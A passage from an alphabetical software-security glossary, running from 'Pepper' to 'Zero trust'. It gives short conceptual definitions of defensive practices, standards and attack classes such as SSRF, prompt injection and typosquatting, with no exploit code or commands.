An authorized, time-boxed attempt to find and exploit vulnerabilities in a defined scope, to show what an attacker could achieve.

Pepper

A secret value combined with each password before or during hashing and stored apart from the password database, for example in an HSM or a secrets manager, so a stolen database alone does not allow offline guessing.

PKCE (Proof Key for Code Exchange)

The client sends a hash of a one-time secret with the authorization request and the secret itself when redeeming the code, so a stolen code is useless.

PKI (Public key infrastructure)

The roles, policies, trust anchors, certificates, and lifecycle processes used to bind public keys to identities or other assertions.

Post-quantum cryptography

Public-key algorithms designed to resist attack by large quantum computers, which would break RSA and elliptic-curve cryptography.

Prompt injection

Text that makes a language model act against the application’s intent, typed by a user or hidden in documents, web pages, tool results or memory the model processes (OWASP LLM01:2026).

Prototype pollution

In JavaScript, untrusted keys such as __proto__ or constructor.prototype modify a shared object prototype and change the behavior of every object that inherits from it (CWE-1321).

Provenance

Information about how, where and from what an artifact was produced, such as a SLSA provenance attestation.

Pseudonymization

Processing personal data so that it can no longer be attributed to a specific person without additional information that is kept separately under technical and organizational controls (GDPR Article 4(5)).

PSIRT (Product security incident response team)

The team in a vendor that receives vulnerability reports about its products, coordinates fixes, publishes advisories and often acts as the CVE Numbering Authority; FIRST’s PSIRT Services Framework describes its services.

purl (Package URL)

A structured identifier for a package’s ecosystem, namespace, name, version and qualifiers, such as pkg:npm/lodash@4.17.21.

Race condition

Behavior that depends on the timing of concurrent operations.

RAG (Retrieval-augmented generation)

An application retrieves documents, often by vector similarity, and adds them to a model’s context.

RASP (Runtime application self-protection)

Instrumentation inside a running application that detects and blocks attacks using the application’s own context, such as an injected query reaching the database driver (NIST SP 800-53 control SI-7(17)).

Rate limiting

Bounding how many requests a client, account, key or address may make in a period, to slow guessing and scraping and to protect capacity and cost (OWASP API4:2023).

RBAC (Role-based access control)

Permissions are granted to roles, and users or services receive permissions by being assigned roles.

ReBAC (Relationship-based access control)

Access follows relationships between subjects and objects, such as owner of a document or member of a group that can view a folder, stored as a graph and checked by query; Google’s Zanzibar paper (2019) popularized it, and OpenFGA and SpiceDB implement it.

ReDoS (Regular expression denial of service)

A pattern with nested or overlapping quantifiers takes exponential or polynomial time on crafted input in a backtracking regex engine.

Reentrancy

A smart contract makes an external call that lets the callee call back in before the first call has finished updating state (OWASP Smart Contract Top 10 SC05, CWE-1265).

Refresh token

A long-lived credential that an OAuth client exchanges at the token endpoint for new access tokens without involving the user (RFC 6749).

Replay attack

Reuse of a previously valid message or credential to cause an unintended repeated operation.

Reproducible build

A build that produces bit-for-bit identical artifacts from the same source, build environment and instructions, so independent parties can rebuild a release and confirm that the published binary matches its source.

Request smuggling

HTTP request smuggling (CWE-444).

Risk acceptance

A documented decision by an accountable owner to tolerate a known risk without further treatment, for a stated period and with conditions that trigger review.

RSA

A public-key algorithm for encryption and digital signatures whose security rests on the difficulty of factoring the product of two large primes (RFC 8017).

S2C2F (Secure Supply Chain Consumption Framework)

It groups its requirements into eight practices (ingest, scan, inventory, update, audit, enforce, rebuild, and fix and upstream) and four maturity levels.

Safetensors

A file format for model weights that stores only tensors and a JSON header, so loading a file cannot run code, unlike pickle-based PyTorch checkpoints, which can execute arbitrary code when loaded (CWE-502).

Salt

A random, non-secret value stored with each password hash and fed into the hashing function, so identical passwords produce different hashes and precomputed tables are useless.

Same-origin policy

The browser rule that script from one origin can read responses and data from another origin only when that origin allows it, for example through CORS or postMessage.

SameSite

A cookie attribute (Strict, Lax or None) that controls whether the browser sends the cookie with cross-site requests; a Lax cookie goes only with top-level navigations that use safe methods such as GET, and Chromium-based browsers treat cookies without the attribute as Lax.

SAML (Security Assertion Markup Language)

A federation protocol using signed assertions; the service provider must validate the exact signed assertion it consumes and its destination, audience, subject and time conditions.

SAMM (OWASP Software Assurance Maturity Model)

Version 2 defines 15 security practices in five business functions; each practice is scored from 0 to 3 from evidence about two streams of activities.

Sandbox

A restricted execution environment that lets code reach only the resources it is authorized for.

SARIF (Static Analysis Results Interchange Format)

A JSON format for static analysis findings, with their locations, rules and fingerprints, which code-scanning platforms such as GitHub ingest from any tool.

SAS (Shared access signature)

Account and service SAS are signed with the storage account key and a user delegation SAS with a Microsoft Entra key; a service SAS tied to a stored access policy can be revoked by deleting the policy, but an account SAS only by rotating the key.

SAST (Static application security testing)

Tools analyze source code, bytecode or binaries without running them, tracing data from sources to sinks to find weaknesses such as injection.

SBOM (Software bill of materials)

A machine-readable inventory of the components in a software release and their relationships, usually in SPDX or CycloneDX.

SCA (Software composition analysis)

Methods and tools for identifying component dependencies and relevant vulnerability or license information.

SCIM (System for Cross-domain Identity Management)

A protocol for provisioning users and groups; disabling a directory user does not by itself prove that application sessions and queued work have been revoked.

scrypt

A memory-hard password-based key derivation function (RFC 7914) whose cost parameter N, block size r and parallelization p set how much CPU time and memory each guess costs.

Secret

A value whose confidentiality is necessary to enforce a security property, such as a private key, password, signing key, or access token.

Secret scanning

Searching code, commits, build logs and other artifacts for credentials such as API keys, tokens and private keys, ideally blocking them before they are pushed and covering the full history.

Security champion

A developer or engineer on a product team who takes on part-time security responsibilities, such as threat modeling, triage and review, and links the team with the security group.

Security misconfiguration

Insecure settings anywhere in the stack, such as debug modes left on, unnecessary features and endpoints, default accounts, verbose errors or missing hardening.

Service account

A non-human identity used by a workload or automation, such as a Kubernetes ServiceAccount or a cloud service account.

Session

A continuing interaction bound to an authenticated or anonymous context.

Session fixation

An attacker makes the victim authenticate with a session identifier the attacker already knows, then uses that session (CWE-384).

Session hijacking

Taking over an authenticated session by stealing or predicting its identifier, through XSS, network interception, malware, logs or a leaked URL, and presenting it as the victim (CAPEC-593).

SIEM (Security information and event management)

A system that collects, normalizes and correlates logs and events from many sources to detect, alert on and investigate security incidents; its detections are only as good as the logs it receives.

Sigstore

An OpenSSF project for signing and verifying software: Fulcio issues short-lived signing certificates bound to an OpenID Connect identity, Rekor records signatures in a public transparency log, and cosign signs and verifies artifacts.

SLSA (Supply-chain Levels for Software Artifacts)

A framework of tracks and levels describing increasingly strong guarantees about how an artifact was built and, since version 1.2, about its source.

SOC 2 (System and Organization Controls 2)

An independent CPA firm gives an opinion on a service organization’s controls for security and, optionally, availability, processing integrity, confidentiality and privacy, the Trust Services Criteria.

SPDX (Software Package Data Exchange)

A Linux Foundation standard for SBOMs and license information, published as ISO/IEC 5962:2021 for version 2.2.1; SPDX 3.0 adds profiles for security, AI models and datasets, among others.

SPIFFE (Secure Production Identity Framework For Everyone)

Each workload receives a SPIFFE ID (spiffe://trust-domain/path) in a short-lived X.509 or JWT SVID from a Workload API, such as SPIRE’s, so services can authenticate each other without long-lived secrets.

SQL injection

Untrusted input changes the structure of a database query (CWE-89).

SSDF (NIST Secure Software Development Framework)

Version 1.1 (February 2022) is final and version 1.2 has been a draft since December 2025.

SSO (Single sign-on)

One sign-in at an identity provider gives access to several applications through a federation protocol such as OpenID Connect or SAML.

SSRF (Server-side request forgery)

An attacker makes the server send a request to a destination of the attacker’s choosing, often an internal service or a cloud metadata endpoint the attacker cannot reach directly.

SSTI (Server-side template injection)

User input becomes part of a template’s source instead of being passed to it as data, so the template engine evaluates it, which in engines such as Jinja2, Twig or FreeMarker often leads to remote code execution (CWE-1336).

SSVC (Stakeholder-Specific Vulnerability Categorization)

A decision-tree method from Carnegie Mellon’s SEI that turns facts such as exploitation status, automatability, technical impact and mission impact into an action; CISA’s version outputs Track, Track*, Attend or Act.

Staged rollout

Releasing a change to progressively larger groups of systems, starting with a small canary, with a bake time and health checks between steps so a bad change can be halted and rolled back before it reaches everyone.

STRIDE

Microsoft’s threat classification: spoofing, tampering, repudiation, information disclosure, denial of service and elevation of privilege, each the violation of one property (authentication, integrity, non-repudiation, confidentiality, availability and authorization).

Subdomain takeover

Someone else gains control of content served on one of your subdomains because a DNS record still points to a cloud or SaaS resource you released, and the provider lets them claim it.

Subresource Integrity

A W3C mechanism in which an integrity attribute on a script or stylesheet element carries a cryptographic hash of the expected file, and the browser refuses to use a fetched file that does not match.

Supply chain

The people, systems, source, dependencies, build processes, and delivery paths involved in producing and distributing software.

System prompt

Instructions that an application places before user input in a model’s context to set its role, rules and tools.

Threat model

A maintained description of a system, its assets and trust boundaries, plausible failure or abuse scenarios, and the controls and decisions addressing them.

Timing attack

A side-channel attack that infers secrets from how long operations take, such as a comparison that returns at the first wrong byte of a MAC, token or password hash (CWE-208).

TLS (Transport Layer Security)

The protocol that authenticates the server, and optionally the client, with certificates and encrypts and integrity-protects data in transit.

Tokenization

Replacing a sensitive value, such as a card number, with a surrogate token that cannot be reversed without access to a protected vault or key.

Tool calling

A model’s structured request, usually JSON that matches a declared schema, asking the application to run a named function with arguments.

Tool poisoning

Hidden instructions in a tool’s name, description or schema that steer an AI agent reading them; a server can also change a definition after users approved it.

TOTP (Time-based one-time password)

An authenticator app computes a short code with HMAC from a shared secret and the current 30-second time step.

Trust boundary

A point where data or execution crosses between contexts with different privileges, ownership, or security assumptions.

Trusted publishing

Publishing packages to a registry with short-lived credentials that the registry issues in exchange for a CI workload’s OpenID Connect identity, such as a specific GitHub Actions workflow, instead of long-lived API tokens.

Trusted Types

A browser API, enforced through Content Security Policy with require-trusted-types-for 'script', under which dangerous DOM sinks such as innerHTML accept only typed values created by named, reviewed policies, so DOM XSS is blocked at the sink.

TUF (The Update Framework)

Separate roles (root, targets, snapshot and timestamp) sign expiring metadata with threshold keys, so a compromised key or mirror cannot serve malicious, outdated or rolled-back updates.

TURN (Traversal Using Relays around NAT)

A protocol and server that relays media and data for WebRTC peers that cannot reach each other directly; a TURN server is an outbound proxy, so it must authenticate users and refuse to relay to internal addresses.

Typosquatting

Publishing a malicious package, or registering a domain, under a name that is a plausible misspelling or variant of a popular one, such as reqeusts for requests, to catch mistyped installs and copied commands.

Use-after-free

A program keeps using a pointer after the memory it points to has been freed (CWE-416).

VDP (Vulnerability disclosure policy)

A public statement of how to report vulnerabilities to an organization, which systems are in scope, what testing is authorized under safe harbor and what reporters can expect in return; CISA BOD 20-01 required one from US federal civilian agencies, and a security.txt file (RFC 9116) points to it.

Vector database

A database that stores embeddings and returns the vectors nearest to a query vector, used for retrieval in RAG.

VEX (Vulnerability Exploitability eXchange)

A machine-readable statement of whether a product is affected by a vulnerability (not affected, affected, fixed or under investigation), with a justification.

WAF (Web application firewall)

A proxy or module that inspects HTTP traffic and blocks requests that match attack signatures or anomaly rules, such as those of the OWASP Core Rule Set.

WebAuthn (Web Authentication)

The server sends a random challenge, the authenticator signs it with a private key bound to the site, and the server verifies the signature, the origin and the user-verification flags.

Webhook

An HTTP request that one service sends to a URL another service registered, to report an event.

WebRTC (Web Real-Time Communication)

Browser and native APIs and IETF protocols for audio, video and data between peers, using ICE, STUN and TURN for connectivity and DTLS-SRTP for encryption.

Workload identity

A verifiable identity assigned to a running service or job.

XSS (Cross-site scripting)

Untrusted content is interpreted as script or markup in a victim’s browser.

XXE (XML external entity injection)

An XML parser resolves entities that point to files or URLs, exposing local files or making server-side requests.

Zero trust

A security model that removes implicit trust based on network location: each request to a resource is authenticated and authorized per session from the identity, the device’s state and other context, as close to the resource as possible (NIST SP 800-207).

Download the guide catalog

Every guide with the platforms it applies to and its practice, as data: JSON or CSV. The coverage map shows which security outcomes the guides, labs and projects cover, and the gaps.

Find your next answer

Type to search. Search runs in your browser.

Searches run in your browser, but the host can infer them from the index files they load. The address shows your search so you can bookmark or share it.